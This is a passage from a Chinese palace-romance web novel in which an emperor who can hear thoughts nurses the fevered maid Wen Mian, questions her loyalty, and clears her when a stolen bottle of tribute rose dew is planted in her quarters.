只见一个身着荔色漳绒袍的少年半蹲着,小心翼翼地将一个披头散发的少女抱在臂弯之中。
少女长发散乱,面容被遮了大半,昭炎帝却一眼就看出了她是谁。
她倚靠着少年的胸膛,少年低垂着头,与怀中少女靠得极近。
好一对情深意绵的小鸳鸯!
不是苏赫与温棉却又是哪个?
那日看到苏赫身上挂着条白手绢他便怀疑了,温棉竟敢巧言令色,欺君罔上。
昭炎帝只觉得一股火猛地从脚底板直冲天灵盖,烧得他胸口气血翻涌,几乎要冲破喉咙。
“你们在做什么?”
他自己都诧异,人竟还能发出这样的声音,仿佛数九寒冬冰面下的河流。
苏赫闻声猛地一颤,这才惊觉身后有人,回头一看,只见皇帝那张脸隐在阴影中,看不清神色。
他唬了一跳,慌忙松开扶着温棉的手,扑通一声跪下。
动作太急,温棉失去支撑,歪倒在地。
“奴才叩见主子爷!”
昭炎帝并未叫起,他的目光沉沉地落在倒伏于地的温棉身上。
她长发散乱,铺陈在冰冷的砖地上,衬得那张小脸愈发嫣红。
皇帝冰冷的视线缓缓移回跪伏的苏赫身上,又问了一遍,声音比方才更低,更沉。
“你们,在做什么?”
苏赫心知此刻解释不清便是与宫女有私的大罪,连忙竹筒倒豆子般全数倾吐。
“回主子,奴才今日进宫,心中记挂孝文太子,想着来毓庆宫外遥遥祭奠一番,以尽哀思。
谁知路过这继德堂,听见里头似乎有动静,心中生疑,于是斗胆进来查看。没想到竟见这宫女在此处!”
苏赫指向晕倒的温棉。
“奴才本以为敢是哪个手脚不干净的宫人在偷盗东西,便进来查问,谁知她说自己是被人关进来的。
奴才看她病得厉害,实在可怜,想着放她出去,岂料她病体沉重,刚站起来便晕厥过去,奴才这才扶了她一把。”
他说得急切,额头冷汗涔涔,生怕皇帝不信。
外臣奉懿旨进宫也就罢了,在宫里乱走,说是祭奠先太子,这也说得过去。
可与宫女拉拉扯扯,那就太不像样了。
宫女子全是皇帝的人,外男私会宫女,很可能被扣上私相勾结的罪名。
何况皇上如今看尼鲁温家不顺眼,苏赫怕自己成了皇上收拾家里的手柄。
昭炎帝的目光在苏赫的脊背上停留片刻,又移向地上的温棉。
病得厉害?
他这才发现,温棉脸颊上的红晕极不自然,是病态的潮热,而非他先前所想。
心头那阵邪火骤然熄灭。
苏赫叩首在地,额头抵着冰冷的地砖。
眼角余光只瞥见那象征着帝王威仪的海水江崖袍角从自己头顶掠过,随即逶迤铺散在地面上。
皇上竟然蹲下来了!
苏赫心头骇异非常,几乎不敢相信自己的眼睛。
昭炎帝伸出手,探向温棉的额头。
触手滚烫,像一块灼热的炭,可隔着单薄的衣物,她的身体却在微微发抖,一片冰凉。
熇熇然热,热深厥深,竟是个大症候,再烧下去,怕是真的要出人命。
他心下一沉,也顾不得了,长臂一抄,直接将那软绵绵的身体打横抱起,大踏步朝外走去。
御辇停在惇本殿前的祥旭门外。
王问行与抬辇太监、御前侍卫并一干随从,正缩着脖子在风雪里静候。
他心中暗暗叫苦,主子爷来毓庆宫,定是追思先太子,没个把时辰怕是出不来。
眼看这雪越下越密,风刀子似的刮脸,真是老天爷存心折腾他们这些当奴才的。
正胡思乱想间,旁边他徒弟小德贵拱肩缩背地上前几步,忽然“嘿哟”低呼一声,扯了扯他袖子,声音都变了。
“师父,您快瞧,那是主子爷不是?主子爷怀里抱着个什么东西?”
王问行抬眼望去,只见漫天风雪中,自家主子爷步履匆匆,石青色的龙袍下摆翻飞,怀中赫然抱着一个人!
他吓得魂飞魄散,三步并作两步就蹿了过去,声音都劈了叉。
“主子爷诶,您这是……这是……”
低头一看,声音更尖细了几分。
“这是温棉姑娘?!哎呦喂,这是怎么了?奴才这就叫人抬二人抬来,送温棉姑娘回他坦去吧?”
他急急建议。
病成这样可千万不能进乾清宫,万一过了病气给万岁爷,那还了得。
昭炎帝脚步未停,看都没看他一眼,只冷冷撂下一句:“传何逢妙。”
说罢
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,竟抱着温棉,径直登上了那驾垂着里衬貂皮明黄帷幔的暖轿,那驾象征无上尊荣的御辇。
王问行眼睁睁看着这一幕,惊得嘴巴都合不拢,眼珠子差点掉出来。
天爷啊!
天菩萨啊!
漫天神佛啊!
主子爷的龙辇,竟然叫一个宫女坐上去了!
这这这、这真是开天辟地头一遭!
王问行只觉得脑子嗡嗡作响,几乎要晕过去。
这后宫的天儿怕是要变了。
好容易稳住心神,不敢再有丝毫耽搁,连滚爬地吩咐下去。
“快!快!快传何院首。”
御辇在风雪中一丝晃动也无,明黄的帷幔隔绝了外间的严寒。
辇内空间宽敞,此刻坐着两人也不拥挤。
温棉被昭炎帝揽在怀中,她身形本就纤细,此刻病得毫无生气,更显得娇小可怜。
“水……”
一声呓语自干涩苍白的嘴唇吐出。
昭炎帝从辇内置备的暖壶中倒出半盏桂枝茶。
茶水温热,带着辛甘微涩的药草气。
太医院每到冬天都会按惯例备下,桂枝能驱寒解表,桂枝茶能预防风寒。
他扶起温棉的后脑勺,将杯沿凑到她干裂的唇边。
皇帝登基前也是王府世子,哪里有伺候人的经验?
动作笨拙极了。
温棉烧得迷糊,凭着本能吞咽了几口,更多的茶水却顺着嘴角淌下,洇湿了衣襟。
那微苦的暖流滑过喉咙,她眉头稍松,又无力地昏睡过去。
昭炎帝看着她唇边水痕,不知怎么想的,大拇指轻轻拭去。
茶水濡湿手指。
皇帝一手扶着温棉,另一只手轻轻覆上她的额头。
依旧滚烫惊人。
温棉在昏沉的高热中,模糊感到一只略微粗糙却温热的大手抚过她的额头,带来片刻难得的舒缓。
她本能地循着那点舒服的凉意,无意识地向前蹭了蹭,额头便抵上了一片坚实的所在。
却不是冷墙寒砖,触感富有弹性,很能给人安稳的感觉。
她浑身酸疼,靠在这里,好像又回到小时候。
小时候发烧时,爸爸抱着她去医院,妈妈焦急地摸她的脑袋。
迷迷糊糊地,温棉将整个发烫的额头都埋了进去,无意识的在那片地方轻轻蹭了蹭。
昭炎帝低头,便看见温棉散乱的黑发下,那张烧得通红的小脸正紧紧贴靠在自己胸前。
眉头紧蹙,眼睫紧闭,鼻息滚烫而急促地拂过他的衣襟。
她全然是烧得神志不清了,才会做出这般依赖亲昵的举动。
看着怀中人毫无防备的模样,昭炎帝心头某处泛起一丝陌生的涟漪。
他抬头,透过辇帘缝隙望向外面,只觉得今日这条路格外的长,抬辇的太监脚步也格外的慢。
“快些。”
昭炎帝吩咐道,手臂将怀中那轻软的身体揽得更稳了些。
王问行奓着胆子窥视御辇,看不见里面一根头发丝儿。
一颗老心疯了似的在腔子里乱跳。
郭这老小子运道真不赖,压中宝了,等日后这位成小主了,郭不得把他踩在脚底下碾成烂泥?
御辇在风雪中疾行,很快便停在日精门外。
眼看皇上抱着温棉便要下辇,直接踏入乾清宫,王问行吓得魂飞魄散,心里头的打算全都拾掇拾掇,踢到一边儿了。
眼下才是要命呢。
顾不得地上冰雪,王问行扑通一声跪倒在御辇旁,不住地以头抢地。
“主子爷,万万不可啊!”
22. 蜜饯
王问行嘴笨,他和郭玉祥一道儿当差,却始终矮他一头,就因为他这张嘴不讨主子喜欢。
他心里想了一大片子:
温棉一个宫女,不仅坐了御辇,还由皇上亲自抱着进乾清宫,这事儿但凡传出一丝半点去,别说温棉这条小命立刻就要被盯上,便是万岁爷的圣誉也要受损。
哦,好好地去奉先殿祭祖,结果回来时怀里抱着个宫女,谁知道是不是在奉先殿坐了什么?
这要是传出去,御史的唾沫星子怕是要淹了乾清宫。
只他心里想得越多,越是一个囫囵字也吐不出来,只急得满头大汗,“咚咚”叩头,连说不可。
昭炎帝刚要下辇,脚步微顿,垂眸瞥了一眼跪在地上磕头如捣蒜的王问行,心中了然。
他何尝不知此举不妥?只是方才情急,顾不得许多。
此刻被冷风一吹,便知须得遮掩。
“行了,别磕了,去养心殿。”
养心殿虽也是皇帝寝宫之一,但皇帝不常去,其后围房素来空置,比乾清宫前殿后寝人来人往要隐秘得多。
王问行如同抓到救命稻草,一骨碌爬起来,连声应了好几个“嗻”,随即招呼过几个心腹,低声急促吩咐了几句。
那几个太监立刻飞奔而去,先行赶往养心殿后围房收拾布置。
御辇改道,驶向养心殿。
到了后围房,几个提前来布置的小太监正要上前接过温棉,却见皇帝抱着人径直下辇,没有假手于人的意思。
小太监们你看看我,我看看你,个个在心里咋舌。
/
屋内陈设简单,临时烧地龙是来不及了,几个太监手脚麻利地在床下放了一个大熏笼。
里头炭火正旺,热气蒸腾上来,驱散屋内的寒意。
昭炎帝将怀中的温棉轻轻放在床上,她昏迷不醒,浑身滚烫,他拉过一旁的锦被为她盖好。
王问行瞅着皇上的举止,大气都不敢出,忽听到上头问:“何逢妙到了吗?”
何逢妙被小德贵半拖半拽着,一路小跑,直奔养心殿。
寒风卷着雪沫子往脖领里灌。
何逢妙一把年纪了,跑得上气不接下气,胸口像拉风箱似的,脑子里胡乱猜测着。
究竟是宫里哪位主子突发急症,能劳动万岁爷令他诊脉,还这般十万火急。
他好歹是院首,统管太医院,宫里能请动他的,只有皇上和太后。
可没听说慈宁宫近日有什么不好啊。
天爷,别是万岁爷龙体欠安吧?
这念头一起,吓得他更是腿软。
好容易跑到养心殿,却见小德贵没有引他入殿,而是来到后围房。
一进屋子,小德贵一松手,何逢妙几乎瘫在门口,扶着门框直喘粗气。
抬眼往屋里一瞧,只见床榻前垂着一道素色帐幔,帐子半掩,隐约可见床上躺着个人。
一截纤细的腕子露在外面,搁在锦被上,一看就知道是女人的手腕。
何逢妙喘匀了那口气,心下稍定。
神天菩萨,幸好不是圣躬有恙。
他定了定神,指着帐内,向守在旁边的王问行道:“王总管,这位是……是这位病了?”
王问行一张菊花老脸紧绷着,点了点头,低声道:“何太医,快给瞧瞧吧,烧得厉害,一直没醒。”
何逢妙彻底把那颗提到嗓子眼的心放回肚子里,暗自念了声佛。
任是心中对这位的身份诸般猜测,面上也没露出来。
/
温棉是被突然灌进喉咙里的水给逼醒的。
她缓缓睁眼,发现自己躺在一张床上,身上盖着厚实的锦被,屋子里炭盆熏笼烧得正旺。
一个小宫女端着碗,用银匙小心翼翼给她送药。
见她睁眼,小宫女喜得无可无不可,连忙放下碗:“姑姑,您总算是醒了,可吓死人了。”
温棉认出来,这是那个叫簪儿的小宫女。
她想开口,却觉得喉咙嘶哑,嘴巴里更是苦得发涩,像是含了一口黄连。
目光落到簪儿手边那碗黑黢黢的药汁上,她皱了皱眉,声音虚弱。
“是谁把我送回来的?”
簪儿嗫嚅道:“这个我也不知道,只知道是王谙达吩咐我过来,说姑姑病了,要我好生伺候。”
王谙达?
万岁爷身边的二把手王问行?
温棉心中惊诧更甚。
她和王问行可没什么交情,话都没说过几句。
这位乾清宫有头有脸的大太监,怎么会忽然关照起她来?
莫不是……
温棉眉头紧蹙,外间忽然传来一阵沉稳的脚步声,紧接着,门被推开。
一道颀长挺拔的身影迈了进来。
米色暗龙纹常服袍角拂过门槛,带着屋外尚未散尽的寒意。
是皇帝。
簪儿吓得魂飞魄散,慌忙跪倒在地,头都不敢抬。
温棉瞪大了眼睛,望着那一步步走近的帝王。
她病体沉重,脑袋昏沉,待皇帝走进了才反应过来要请安。
“行了,躺着吧。”
皇帝制止了她的动作。
目光扫过床头小几上半碗汤药上,又看向温棉。
“药怎么不吃完?怕苦?”
温棉张了张嘴,还没发出声音,皇帝已转向王问行:“去取些蜜饯来。”
王问行应声退下,很快端来一个剔红漆梅兰竹菊纹四格攒盒,里面分格盛着金丝蜜枣、糖霜梅子、蜜饯荔枝、甘草金桔。
五颜六色的,闻起来甜腻腻的。
温棉忙谢恩,做出一幅感恩戴德的模样,随手拿了一颗蜜腌荔枝压在舌底,将剩下的半碗药灌进去。
又甜又苦。
甜的齁嗓子,苦的麻舌根,真不是好滋味。
温棉捧出一个笑:“多谢万岁爷赏赐。”
笑得比哭的还难看。
昭炎帝挥挥手,王问行会意,立刻招手叫簪儿出来。
屋内霎时只剩下温棉与他。
皇帝撩袍,在床前那张黄花梨木圆凳上坐下,目光如鹰隼般,紧盯温棉的眼睛,不容她半分闪躲。
“朕问你。”
温棉提着一颗心,听到他开口,心便更揪紧几分。
“你与承恩公府,是什么关系?”
这是什么问题?
温棉一时没反应过来。
“承恩公府?”
她茫然地重复。
那是什么人家?她一个进宫多年的小宫女,哪里能与外头公侯府邸有牵连?
「天呐……难道……」
皇帝盯着她因病而朦胧的眼睛,不错过她脸上任何一丝细微的变化。
「难道我是承恩公府抱错的真千金?!」
昭炎帝:……
这都什么跟什么?
手里的佛珠“嘎吱”一下。
皇帝语气加重了几分:“你可是私下与承恩公府传递宫内的消息?”
这话如同一个惊雷在温棉头顶炸响。
私通外臣,窥探宫闱,哪一条都是杀头的大罪。
温棉吓得魂飞魄散,也顾不得身在病中,几乎是连滚爬地从床上跌下来,跪伏在地,额头重重磕在冰冷的砖面上。
“万岁爷明鉴呐!奴才冤枉,奴才入宫多年,谨守本分,从不敢与任何外臣私相往来,更不知什么承恩公府,求万岁爷明察!”
她伏在地上,浑身抖得筛糠似的。
一半是吓的,一半是高烧未退,身子骨还虚着呢。
昭炎帝坐在凳上,神情高深莫测,忖度着。
他“听”得到她此刻心中的声音。
温棉所想所言,句句属实
若不是此女城府深到连心声都能完美掩饰,那便真是与承恩公府毫无瓜葛。
自元后与太子相继薨逝,自己又懒得牌子,这前朝后宫就更波诡云谲了。
御前宫女的来历越发驳杂。
各宫嫔妃、太后母家承恩公府、已故皇后娘家承恩侯府……
各方势力都或明或暗地塞人进来,你方唱罢我登场。
哪个不是存着爬上龙床、怀上子嗣、一步登天的心思?
昭炎帝心知肚明,只是懒得一一戳破,冷眼看着他们各自表演。
唯独这个温棉,身世看似简单清白,查不出与任何一方有明面上的瓜葛。
他原以为这或许真是只知当差的傻丫头,可先是在慈宁宫撞见苏赫身上有她的手帕,今日又在毓庆宫亲眼目睹苏赫抱着她。
两下联系,由不得他不起疑心。
方才发问,便是试探。
若她真是承恩公府的人,骤然被揭破跟脚,内心绝不可能毫无波澜。
即便面上能强装镇定,心声也必有破绽。
可温棉的反应只有惊骇与茫然,做不得假。
昭炎帝看着伏在地上的人,那单薄的脊背如一瓣玉兰微微起伏,黑发逶迤一地。
“起喀吧,你是个憨直的,就算真有人往宫里送探子,也轮不上你这样的。”
温棉如蒙大赦,也没听清皇帝这一番不知是褒是贬的话,连连谢恩。
她没看见伸到她面
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前,要扶起她的大手。
昭炎帝看着她劫后余生般的模样,唇动了动,不自在地收回手。
他见惯了旁人对他栗栗然,却不喜欢她也如此。
方才那些疑心,吓着她了。
高坐明堂的天子,从来也没说过软和话,一时间言词都堆到嗓子眼里,却怎么也吐不出来。
昭炎帝挫败地转了转佛珠,忽伸手,宽大的手掌拢住温棉的肩头子,把她提到床上。
温棉还来不及惊骇,皇帝就拉过被子盖住她。
“行了,你披件厚的,坐着听。”
温棉惊疑不定地僵坐在床。
皇帝对待宫人,都是这么……亲近的吗?
“朕查明了谁把你关进继德堂,那两个嬷嬷已经打发去辛者库了,日后这种事不会再有。”
温棉后知后觉,皇帝是在帮她讨回公道?
可是却没有直说幕后之人是谁,只罚了动手的宫人。
温棉犹豫了一下,道:“万岁爷容禀,虽说那两个嬷嬷违反宫规,擅自处罚宫女,但有个穿□□绿的嬷嬷为人极好。
多亏她赠了一床棉被,奴才才能活下来,还请万岁饶恕她。”
一床棉被值当什么,可她却能记着,可见是个心软仁义的。
皇帝道:“也罢,既你求情,朕便赦免她。”
一时无话,皇帝坐了半天,见温棉两只圆眼睛惶惶看着他,他不由低头,终究说出憋了好半天的话。
“你好好养病,别急着回来当差,养好身子再来,别过了病气给朕。”
温棉讷讷道是。
他沉默地站起身,转身离开了屋子。
直到皇帝的脚步声彻底消失在门外,温棉才敢真正松一口气,只觉得浑身虚脱,冷汗浸透了里衣。
王问行在外面将皇帝与温棉的对话听了个十成十,心里啧啧。
嗳哟,主子爷竟能这么体人意儿,竟能说出这么软和的话。
可见这位温姑娘温不了多久,就要红了!
几日后,温棉的高热总算退去,虽然身子还虚着,但已能下床走动,算是病愈了。
簪儿双手合十:“阿弥陀佛,可算好了。”
温棉笑道:“劳你帮我这么多,真不好意思,我都不知怎么谢你才好。”
簪儿是个小脸小眼小鼻子的姑娘,看起来很机灵,她道:“能伺候姑姑是我的福气,旁人求都求不来呢。”
温棉道:“那姑姑和秋兰马上就要离宫了,我也不知道能不能当上御茶房的头儿,多半是不能的。反正,我不会亏待你,有我一口吃的,就有你一口喝的,你放心。”
簪儿笑道:“姑姑这说的什么话,便是姑姑不做领班,凭姑姑的为人,我就敬服呢,情愿跟了姑姑。”
宫里的大宫女都有跟班,做姑姑的更是如此。
下了差回到住处,姑姑们一般也有一两个小宫女帮忙烧水洗衣。
小宫女都要给自己找个头儿,才能背靠大树好乘凉。
簪儿打一开始就想找靠山,奈何御茶房的几个死的死,走的走,没个合适的。
好容易新来了两个,她与另一位娟姑姑不投缘分。
这一位温姑姑虽然不爱冒尖,也不知日后前程如何,但不冒尖有不冒尖的好处。
簪儿便一心投靠过来。
谁知这位温姑姑鸿福齐天。
皇帝出现时,簪儿腿肚子都软了,直到出去后脑瓜子都嗡嗡的。
哎呦喂,这回她算是抱住一条金大腿了。
簪儿扶着温棉,二人一同回到御茶房。
那姑姑正好在院子里,见到温棉,忙上前道:“你这几日去哪儿了?”
温棉福身,道:“我生病了,报给王谙达知道,王谙达恐病气过人,叫我去外头养病,近日病好了,我不敢耽搁,就回来当差了。”
那姑姑也没细纠她话里的漏洞:“怪道我瞧你脸色煞白,罢了,你回去歇着吧。”
温棉又福了福身。
久无人睡,她的床褥又潮又冷,温棉捏着被子两角抖了抖,将被子抖得蓬松。
刚坐下没多久,忽听到院子里有吵嚷声。
温棉侧耳细听。
“不见了……主子爷擎等着赏人呢……”
“只有她动过……”
“就是她偷的……”
温棉蹙眉。
怎么又有东西丢了?
只几息后,屋子门推开,那姑姑一张脸跟涂了蜡似的,后面跟着看不清神色的秋兰,和面色涨红的娟秀。
那姑姑道:“温棉,玫瑰清露丢了,可是你偷的?”
23. 鸡汤银丝面
温棉心头一沉。
此前那两个精奇也是以丢东西的名头关她。
是巧合?是借题发挥?还是个连环计?
“姑姑这是什么意思?偷盗御用之物是死罪,我有几个脑袋够砍的?再者,前几日我病重在外养病,今日方回。
回来至今,只进了这屋子,尚未踏足茶房一步,如何能偷东西?”
那姑姑脸色难看。
此事非同小可,自己眼见就要平安出宫,临了却遇上这种事。
娟秀见那姑姑不说话,立刻跳出来。
“你装什么糊涂,除了你没人碰过那瓶子,定是你当日起了贪念,暗中藏匿了。”
温棉冷笑:“那日我取用清露,是当着姑姑和你的面,姑姑当时还特意提醒我小心莫要摔了。用完后,我是亲手将瓶子擦净,放回原处的,此事,姑姑可做见证。”
那姑姑想起那日情景,确实如此,眉头皱得更紧。
秋兰低着头,嘴唇翕动了一下,终究没出声。
“你放回去了,就不会再偷拿吗?”娟秀不依不饶,“只你一人碰过玫瑰露,定是你趁人不备又溜回来偷了。”
温棉懒得再同她费口舌,转向那姑姑。
“姑姑,此事重大,并非空口能断,既然清露是在我离宫养病期间丢失的,何不查问这几日当值的姐妹,可有见外人进出?
再者,宫里的东西就是被偷也难带出去,说不得玫瑰露还在宫里,咱们与其在此猜疑,不如请姑姑禀明上头,彻查一番,也好还御茶房一个清白。”
那姑姑不想闹大。
不管是谁,身上担了偷盗的疑影儿,都免不了被讲究几句。
何况这种事报上去后,不说能不能查明真相,一个监管不力的罪名就擎等着呢。
她本意是能找到最好,找不到也不要惊动上面,奈何形式比人强。
一直沉默的秋兰终于开口了,她对那姑姑道:“和玳,御茶房荣辱一体,若是报到上面,不管最后搜出来是谁,其他人都得跟着惹一身骚。”
那姑姑叹气:“如今是不报也得报了。你道为何突然说起玫瑰露,淑妃求主子爷赏赐,主子爷允了,景仁宫的王德海就在乾清宫月台上等着呢。
那是山东进贡的贡品,要是寻常玫瑰也就罢了,头水玫瑰露只有五瓶,一瓶在慈宁宫,一瓶在乾清宫,剩下三瓶赏了三妃。
我原想找出来再照旧放回去,就是埋怨我找东西费时间也有限,如今是不成了。”
屋子四人俱倒吸一口凉气。
秋兰声音哆嗦:“那岂不是……要捅到主子爷那里去了?”
那姑姑道:“可不是,要捅破天了。”
/
今天出太阳了,但天上依然飘着雪沫。
景仁宫首领太监王德海抱着拂尘,立在乾清宫月台上,眼观鼻鼻观心。
晴日头下雪,真稀罕。
更稀罕的是御前两位大太监的脸色。
哎呦喂,那可真是挂霜的柿子,又冷又抽抽。
他正悄悄看热闹,忽见月华门方向,一个宫女步履匆匆地赶来。
那姑姑径直走到郭玉祥身边,凑到老太监耳边,低语了几句。
郭玉祥一张老脸霎时颜色大变。
他眼神锐利地扫了那姑姑一眼,旋即闪身进了乾清宫东暖阁。
王德海只当什么也没看见,依旧低眉顺目地站着,心里却已转了七八个弯。
暖阁内,地龙烧得正旺,昭炎帝穿着单衣正批阅奏章。
见郭玉祥进来了,他放下朱笔:“怎么,温棉好了?”
郭玉祥一噎,讷讷道:“这个……回主子爷,温姑娘还没回到任上,现下有件要紧事,奴才知道后不敢耽搁,想讨主子示下。”
没有听到温棉的消息,昭炎帝又提起笔行朱批。
“说。”
郭玉祥虾腰道:“启禀万岁爷,御茶房出事了,山东上贡的平阴头水玫瑰清露丢了。”
昭炎帝笔尖一顿,并未抬头,只淡淡问:“何时发现的?可查过了?”
“适才发现的。淑妃娘娘遣人来求赏,您允了,御茶房的奴婢们去取时才发现。
据和玳姑娘回禀,前几日曾有人取用过,之后便再无人动过了。”
郭玉祥小心翼翼地斟酌着词句。
“偷盗宫中之物,曾经也有过,那程子杀了多少人,才消停没两年,又有这种腌臜事,可见是皮又松了。”
昭炎帝搁下朱笔,声音冷了下来。
“查。”
“嗻,奴才这就去。”
郭玉祥如蒙大赦,正要起身退下。
“回来。”
昭炎帝忽然又叫住他。
郭玉祥连忙又回来弓腰等皇帝示下。
昭炎帝沉吟,手指轻敲桌面,半晌没言语。
郭玉祥一丝声气都不敢露,静等吩咐。
“随便赏些东西给淑妃的人,先打发走他。此事需得关起宫门来查,乾清宫上上下下,所有角落,搜个干净。
你给朕听好了,事情水落石出前,有一个字传出去,你这个总管就算是当到头了。”
郭玉祥抖如筛糠,重重叩首:“奴才遵旨!哪怕把乾清宫翻个底朝天,也不会叫半个字传到外头去。”
昭炎帝冷冷应了一声。
郭玉祥匆匆退出去后,对月台上等候的王德海扯出个惯常的笑脸,三言两语把他打发了。
待王德海一走,他脸上的笑容立刻消失,与王问行对视一眼,眼中俱是凛然。
御前的一把手和二把手难得联手办差,将乾清宫围得铁桶般,一只苍蝇都飞不出去。
乾清宫所有不当值的宫人,无论品级高低,全被提溜到了凤彩门前的空地上。
冬日寒风凛冽,众人却不敢有丝毫怨言,瑟缩着站成一片,鸦雀无声。
御前侍卫手持名册,面色冷峻,一队队分赴各处太监的他坦,开始翻箱倒柜的搜查。
宫女们的下处,则由几位慎刑司的精奇嬷嬷进去。
南书房的窗子上趴了好几个人,都是有顶戴的大人。
看着月华门、日精门都按时落了钥,行走的宫人神色肃穆,不由个个咋舌。
“我滴个乖乖,这是怎么了?”
“穿堂的门都落下了。”
“这架势,赶得上搜宫了。”
凤彩门与交泰殿的汉白玉台阶之间,乌泱泱站了一堆人,全都是乾清宫的宫人。
胆子小的差不点瘫下来,只怕失仪,强撑着罢了。
温棉叹了口气。
看情形,不知还要站多久,幸好没叫他们都跪下,算是开恩了。
昭炎帝在御道之上,从乾清宫踱步至交泰殿前,负手立于汉白玉栏杆之后,垂眸俯瞰着下方凤彩门前那乌泱泱一片宫人。
他的目光掠过底下乌泱泱的人群,很快便看到了站在角落里脸色依旧苍白的温棉。
大病初愈,她比旁人更显得单薄,在寒风里微微瑟缩着。
皇帝几不可察地蹙了下眉,瞥向身侧的郭玉祥。
郭玉祥何等精明,立刻会意,躬身悄步下了台阶,穿过肃立的人群,径直走到温棉面前。
温棉正拿出宫女的基本功站桩呢,忽听到有人唤她,抬头一看,竟是大总管。
郭玉祥笑得和煦:“温姑娘,随我来,万岁爷召见。”
温棉不明所以,却不敢多问,只得跟上郭玉祥,在无数道或明或暗的目光注视下,一步步登上高高的台阶。
交泰殿大门打开,皇帝负手站在熏笼旁,羊脂玉明黄辫穗恰好就在手旁,衬得肉皮温润尊贵。
温棉进来,被殿里的热气烘得脸立刻红了。
她福身行礼。
昭炎帝并未转身,只淡淡道:“病好了?”
温棉忙应:“回万岁爷,托您的洪福,奴才用了药,已然大好了。不敢耽搁差事,所以明日便回来当值。”
“油嘴滑舌。”昭炎帝语气听不出喜怒,“说得倒像是朕离了你,就没人当差似的。”
温棉不敢接话。
她何曾是这意思来着?可又不敢驳皇帝的话,看着皇帝的背影,只把头垂得更低。
昭炎帝不经意地用余光瞥了眼温棉,但见她站在门口,单薄的身体像是要被风吹走了似的。
他清了清嗓
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子。
“你过来。”
温棉依言上前几步。
熏笼热气烘得她双颊愈发红了。
昭炎帝勾起嘴角:“你这面茶似的,一脸菜叶子色儿,能当好差么?”
温棉闻言,以为皇帝不喜她生病误了差事,忙要请罪。
只她还没福身下去,就被皇帝扶住了胳膊。
手里的胳膊细伶仃,却还有些肉,软绵绵的。
昭炎帝把她拉近些。
一股皂角清香钻进鼻子里,皇帝情不自禁俯下身。
温棉余光瞥到侧边沉下一片黑,她才要抬头,忽听得殿外一串脚步声。
负责搜查的御前侍卫和精奇嬷嬷们在王问行的带领下回转。
一个面容刻板的嬷嬷手里端着个红漆托盘,托盘上,赫然摆着一个玻璃磨花旋纹细颈瓶。
正是那瓶失窃的平阴头水玫瑰清露。
不知怎的,温棉心中大不安定,脑子里突然想起那日回到下处,嗅到的一股玫瑰香。
那嬷嬷跪下,将托盘高举过顶。
“启禀万岁爷,失窃之物已然寻获,是在敬茶宫女温棉所居排房,其床铺之下发现的。”
温棉脑子“轰”的一声响了,浑身血液霎时冲上头顶。
有人冲着要取她性命而来!
她登时跪下,身姿利落的皇帝要扶都没扶住。
“奴才没有偷东西,不是……”
“跪下做什么?”
不等温棉分辨的话说完,昭炎帝的声音先一步响起。
他伸出手,稳稳托住温棉的手臂,将她扶起来。
“朕几时说过,是你偷的了?”
温棉茫然地看向皇帝。
昭炎帝收回手,目光转向殿前那端着托盘的嬷嬷,直把跪下复命的侍卫嬷嬷们看得胆战心惊。
“不是她,继续查。”
檀木佛珠一甩,皇帝坐在铺了虎皮的圈椅上,面容冷淡,看得人心里直打鼓。
“栽赃陷害、隔岸观火,那些鬼蜮伎俩朕见过不少。也是奇了,上回杖毙了一个,竟还没叫他们害怕,越性这回一并杀了,御前少不得能安宁些。”
他指了指王问行和郭玉祥两个。
“两位总管要仔细了,谁要保谁、谁背后的人你们吃罪不起,拿着这个做借口,任那些心怀叵测之人把乾清宫当飞仙台,呵,到时候就别怪朕不念旧情了。”
王问行和郭玉祥栽烛般跪下,平日里牛气哄哄的侍卫和嬷嬷们直打哆嗦。
皇帝摆摆手,殿前复命的人鱼贯退出。
他这才重新看向依旧呆立着的温棉,见她脸色更白,眼中惊惶未退,他心下一软。
取出怀表看了一眼,已是酉正了。
温棉死里逃生,此时晕乎乎的。
皇帝竟然信她!
忽听得皇帝道:“还傻站着?你不当差了?”
温棉如梦初醒,忙看向外面天色。
宫里的规矩,两膳只在卯时和未时,这个时候快睡觉了,须吃些晚点垫肚子。
她忙要去御膳房。
皇帝叫住她:“得了,你这副样子,没得被风吹走了。”
他叫几个小太监去传晚点。
不多时,御膳房便送来了一盅汤品,并十来样小吃,还有一盘下好的银丝面。
晚点铺陈开,在桌子上摆了一大片。
皇帝斜眼看温棉。
温棉忙上前来,洗了手,觑着皇帝的面色,盛了碗鸡汤。
汤色金黄醇厚,闻着就知道是上好的当归黄芪枸杞熬了十来个时辰才得的。
她又往汤里放了银丝面。
金色的汤,银色的面,又好看又好吃。
“万岁爷,天冷,您吃碗汤面暖暖肚子吧。”
昭炎帝啧道:“你规矩都忘了?”
温棉一愣,忽想起还没试毒,她左右看看,竟没有侍膳太监,只得自己拿起筷子,先吃了两口。
汤鲜味美,几口下去浑身都暖洋洋的。
温棉等了一会,并无不妥,于是道:“万岁爷,没有毒。”
昭炎帝见她吃下一碗,这才叫她继续侍膳。
24. 安神汤
王德海苦着一张老脸,手里捧着沉甸甸的剔红漆八仙捧寿纹托盘。
上头各色锦缎珠宝,琳琅满目,俱是御赐的上品,唯独没有淑妃点名要的那瓶玫瑰清露。
他心里跟揣了个吊桶似的,七上八下。
自家这位小主是个一点就着的爆炭脾气,若知道这点小事都没办妥,还不得把他生吞活剥了?
果不其然,一进景仁宫,淑妃正斜倚在临窗的暖炕上描花样,见了他手里的托盘,眼睛一亮,待看清上面物件后,两道柳叶眉立刻高高竖起。
王德海“噗通”跪下,将托盘高高举过头顶,苦着脸请罪。
“娘娘息怒,奴才无用,乾清宫那边说是玫瑰露已经用完了,万岁爷另赏了这些。”
淑妃一拍炕几,震得茶盏叮当响。
“用完了?主子爷不爱玫瑰那个味儿,怎会用完了?定是那起子奴才不用心,打量着糊弄了事!”
“娘娘明鉴,奴才绝不敢怠慢。”
王德海连连磕头,觑着淑妃的脸色,小心翼翼地将乾清宫月台上郭玉祥骤然色变的情形添油加醋说了一遍。
“奴才瞧着,郭总管那脸色,怕不是御前出了什么了不得的大事,底下人都忙着处置那件大事,一时顾不上寻玫瑰露也是有的。”
淑妃闻言,怒气稍敛,眉头却蹙得更紧。
御前有事?
什么事能让郭玉祥那老狐狸都变了脸色?
/
晚点撤了下去,殿内只余淡淡的熏香。
郭玉祥与王问行弓着身子,蹭着地砖挪了进来,两人的脸都肃着,像是死了爹妈一样。
后面跟着太医院院正何逢妙。
再后面,几个精奇提着两个宫女,那两个宫女面无人色,精奇一松手,两人俱瘫软在槛外。
郭玉祥三人进来后跪着磕了个头,皇帝也没叫起。
